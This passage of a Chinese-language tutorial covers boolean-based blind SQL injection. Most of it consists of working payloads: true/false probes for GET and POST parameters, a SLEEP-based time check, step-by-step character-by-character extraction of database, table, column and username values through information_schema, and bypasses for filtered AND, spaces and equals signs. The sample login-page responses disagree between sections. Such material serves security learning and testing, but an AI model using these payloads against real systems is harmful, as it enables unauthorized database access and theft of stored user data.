# 等号绕过:LIKE、REGEXP ?id=1' AND 1 LIKE 1 --+ ?id=1' AND 'a' REGEXP '^a' --+
(2)多参数场景的布尔注入判断(如POST表单)
针对POST参数(如username=admin&password=123),构造布尔条件:
# POST体示例(Burp抓包修改) username=admin' AND 1=1 --+&password=123 # 恒真→登录页面提示“用户名错误”(正常状态) username=admin' AND 1=2 --+&password=123 # 恒假→登录页面提示“系统错误”(异常状态)
(3)结合“无意义条件”的辅助判断(排除页面随机波动)
构造非SQL的布尔条件,验证页面状态是否稳定,排除页面自身波动:
# 无意义条件(页面应无变化) ?id=1' AND 'a'='a --+ # 恒真,页面正常 ?id=1' AND 'a'='b --+ # 恒假,页面异常 # 若状态稳定,说明是SQL条件导致的状态变化,而非页面随机问题
(4)区分布尔注入与时间盲注
若页面状态无差异,需排除时间盲注(避免误判):
# 时间盲注测试:页面延迟5秒响应则为时间盲注,否则无盲注 ?id=1' AND SLEEP(5) --+ # 若页面无延迟,且基础布尔条件也无状态差异→无布尔注入
四、布尔注入的完整攻击步骤(实操逻辑)
步骤1:确认布尔注入场景(无显式回显+状态随布尔条件变化)
如目标URL:http://test.com/index.php?id=1,验证:
# 恒真→页面显示“用户ID:1” http://test.com/index.php?id=1' AND 1=1 --+ # 恒假→页面显示“无此用户” http://test.com/index.php?id=1' AND 1=2 --+
步骤2:猜解目标信息的“边界”(长度)
构造LENGTH(目标信息)=数值,找到正确长度:
# 猜解当前数据库名长度 http://test.com/index.php?id=1' AND LENGTH(database())=6 --+ # 页面正常→确认数据库名长度为6
步骤3:逐字符猜解(基于ASCII码)
构造ASCII(SUBSTR(目标信息, 位置, 1))=ASCII码,逐个验证字符:
# 猜解数据库名第1个字符(ASCII=116→'t') http://test.com/index.php?id=1' AND ASCII(SUBSTR(database(),1,1))=116 --+ # 页面正常→确认第1个字符为't'
步骤4:逐层猜解(库→表→列→数据)
# 猜解表名(testdb库下第1个表) http://test.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),1,1))=117 --+
# 猜解列名(users表下第1个列) http://test.com/index.php?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='testdb' AND table_name='users' LIMIT 0,1),1,1))=117 --+
# 猜解数据(users表中username列第1条数据) http://test.com/index.php?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1))=97 --+
五、不同场景下的布尔注入Payload示例
1. 字符型参数(最常见)
# 验证存在性 ?id=1' AND 1=1 --+ # 真→正常 ?id=1' AND 1=2 --+ # 假→异常
# 猜解数据库名长度 ?id=1' AND LENGTH(database())=N --+
# 逐字符猜解 ?id=1' AND ASCII(SUBSTR(database(),M,1))=X --+
2. 数字型参数
# 验证存在性 ?id=1 AND 1=1 # 真→正常 ?id=1 AND 1=2 # 假→异常
# 猜解长度 ?id=1 AND LENGTH(database())=N
# 逐字符猜解 ?id=1 AND ASCII(SUBSTR(database(),M,1))=X
3. POST参数(表单)
# 登录表单(username参数) username=admin' AND 1=1 --+&password=123 # 真→提示“密码错误” username=admin' AND 1=2 --+&password=123 # 假→提示“用户名不存在”
4. 过滤绕过Payload
# AND被过滤→用&& ?id=1' && 1=1 --+
# 空格被过滤→用/**/ ?id=1'/**/AND/**/1=1--+
# 等号被过滤→用LIKE ?id=1' AND ASCII(SUBSTR(database(),1,1)) LIKE 116 --+